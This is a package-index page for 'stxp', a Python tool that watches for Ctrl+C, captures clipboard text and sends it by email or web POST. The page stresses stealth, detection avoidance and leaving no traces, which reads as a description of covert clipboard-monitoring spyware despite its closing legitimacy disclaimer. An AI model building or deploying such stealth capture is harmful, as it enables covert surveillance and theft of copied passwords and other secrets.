A tool to capture selected text and send via email
Project description
STXP - Stealth Text Capture and Email Tool
A privacy-focused tool for capturing selected text and sending it via email with enhanced stealth capabilities.
Features
- Stealth Operation: Runs silently in the background with no visible traces
- Dual Sending Methods: Support for both direct SMTP and Web POST methods
- Automatic Cleanup: Removes all temporary files when exiting
- Privacy Enhanced: Uses temporary directories to avoid detection
- Clipboard Monitoring: Automatically captures Ctrl+C operations
- Secure Authentication: Supports API keys and Bearer tokens
Installation
pip install stxp
Quick Start
1. Setup Configuration
stxp --config
2. Start Monitoring
stxp
3. Usage
- Press
Ctrl+Cto capture text from clipboard - Press
Ctrl+Zto exit the program
Configuration Options
Method 1: Direct SMTP (Traditional)
Configure your email settings directly:
- SMTP Server
- Port
- Email credentials
- Recipient email
Method 2: Web POST (Recommended)
Configure web service settings:
- Web service URL
- API Key (optional)
- Recipient email
Web POST Method
The Web POST method provides enhanced security by not storing SMTP credentials on the client side.
Data Format
{
"text": "clipboard content",
"timestamp": "0115_1430",
"recipient": "user@example.com"
}
Authentication Headers
Authorization: Bearer your-api-key-here
X-API-Key: your-api-key-here
Web Service Requirements
Your web service needs to:
- Handle POST requests: Process JSON formatted data
- SMTP Configuration: Handle SMTP settings on the server side
- Authentication: Validate API keys
- Response Format: Return HTTP 200 for success
Example Web Service Endpoint
# Flask Example
@app.route('/api/send-email', methods=['POST'])
def send_email():
data = request.get_json()
# Validate API key
api_key = request.headers.get('Authorization', '').replace('Bearer ', '')
if api_key != 'your-api-key-here':
return jsonify({'error': 'Unauthorized'}), 401
# Send email
try:
# Use server-side SMTP settings to send email
send_email_via_smtp(data['text'], data['recipient'])
return jsonify({'status': 'success'}), 200
except Exception as e:
return jsonify({'error': str(e)}), 500
Command Line Options
stxp # Start listening (stealth mode)
stxp --config # Setup email configuration
stxp --debug # Enable debug mode
stxp --help # Show help information
Security Benefits
Web POST Method
- No SMTP passwords stored on client
- API keys can be revoked anytime
- Server-side can implement additional security measures
- Supports HTTPS encrypted transmission
Traditional SMTP
- Maintains original functionality
- Suitable for internal network use
- Direct SMTP connection
Technical Details
Dependencies
pynput>=1.7.0- Keyboard monitoringpyperclip>=1.8.0- Clipboard accessrequests>=2.25.0- HTTP requests for Web POST
Privacy Features
- Uses temporary directories for configuration
- Automatic cleanup of all temporary files
- No persistent file traces
- Silent operation mode
Development
Project Structure
stxp/
├── __init__.py # Package initialization
├── main.py # Main application logic
├── install.py # Installation utilities
└── test_stxp.py # Test suite
Building from Source
git clone <repository>
cd stxp
pip install -e .
License
This project is licensed under the MIT License - see the LICENSE file for details.
Contributing
- Fork the repository
- Create a feature branch
- Make your changes
- Add tests if applicable
- Submit a pull request
Support
For issues and questions, please open an issue on the GitHub repository.
Note: This tool is designed for legitimate text capture and email forwarding purposes. Please ensure compliance with local laws and regulations regarding privacy and data protection.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file stxp-1.2.0.tar.gz.
File metadata
- Download URL: stxp-1.2.0.tar.gz
- Upload date:
- Size: 11.7 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
619cdab8ae5bf09483b5d61e761097bb0c8d49bac1274f78c3d8648608604112
|
|
| MD5 |
fe7b52ed3ad2018551f09ce6c3a64136
|
|
| BLAKE2b-256 |
d934250342a971c7c69e9f85192afd88f84e4d6eaf7e6a6293df93b209ff7e1f
|
File details
Details for the file stxp-1.2.0-py3-none-any.whl.
File metadata
- Download URL: stxp-1.2.0-py3-none-any.whl
- Upload date:
- Size: 10.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f5e5b635bd6bb238002a145527ff8a3a1e760e047888fe2f61c5e29d2e02ffc4
|
|
| MD5 |
69ca8fc09ec0e0dc450d6f0d72fb2395
|
|
| BLAKE2b-256 |
023a9e165f3abe9ca6451d7fe430a9734153e770cb3eb52aad28cbee4ed06f93
|